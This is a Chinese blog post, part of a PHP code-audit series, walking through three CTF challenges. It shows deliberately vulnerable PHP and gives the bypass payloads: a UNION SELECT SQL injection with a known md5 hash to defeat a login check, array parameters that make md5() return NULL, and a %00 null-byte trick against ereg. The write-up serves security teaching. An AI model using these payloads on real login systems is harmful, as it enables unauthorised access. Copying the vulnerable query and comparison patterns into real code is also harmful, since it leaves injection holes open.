PHP代码审计分段讲解(7)

17 密码md5比较绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
 
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
 
    //strcasecmp:0 - 如果两个字符串相等
 
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}
 
?>

POST方式传入user和pass的值,将密码进行md5加密之后,与数据库中对应user的密码进行比较,相等则输出flag。

这道题跟第9题类似,使用union select 传入已知数字的md5值

1
?user='and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

sql语句变为了

1
select pw from ctf where user=''and 0=1 union select  'e10adc3949ba59abbe56e057f20f883e' #

登录获取flag

 

18 md5()函数===使用数组绕过

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print 'Your password can not be your username.';
    else if (md5($_GET['username']) === md5($_GET['password']))
        die('Flag: '.$flag);
    else
        print 'Invalid password';
}
?>

GET传入username和password,需要username和password相等,同时两者md5加密的结果相等。

PHP对数组进行hash计算都会得到NULL的空值,所以使用数组绕过。

1
?username[]=1&password[]=2

获得flag

 

19 ereg()函数strpos() 函数用数组返回NULL绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
 
$flag = "flag"
    
if (isset ($_GET['password'])) { 
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) 
        echo 'You password must be alphanumeric'
    else if (strpos ($_GET['password'], '--') !== FALSE) 
        die('Flag: ' . $flag); 
    else 
        echo 'Invalid password'
?>

与15题类似,可以使用%00截断,构造payload为

1
?password=123%00--

也可以使用数组进行绕过,ereg和strpos两个函数处理数组都会返回NULL,NULL!==FALSE。

所以payload也可以为:

1
?password[]=

获得flag

 


__EOF__

本文作者春告鳥
本文链接https://www.cnblogs.com/Cl0ud/p/13275518.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   春告鳥  阅读(306)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
点击右上角即可分享
微信分享提示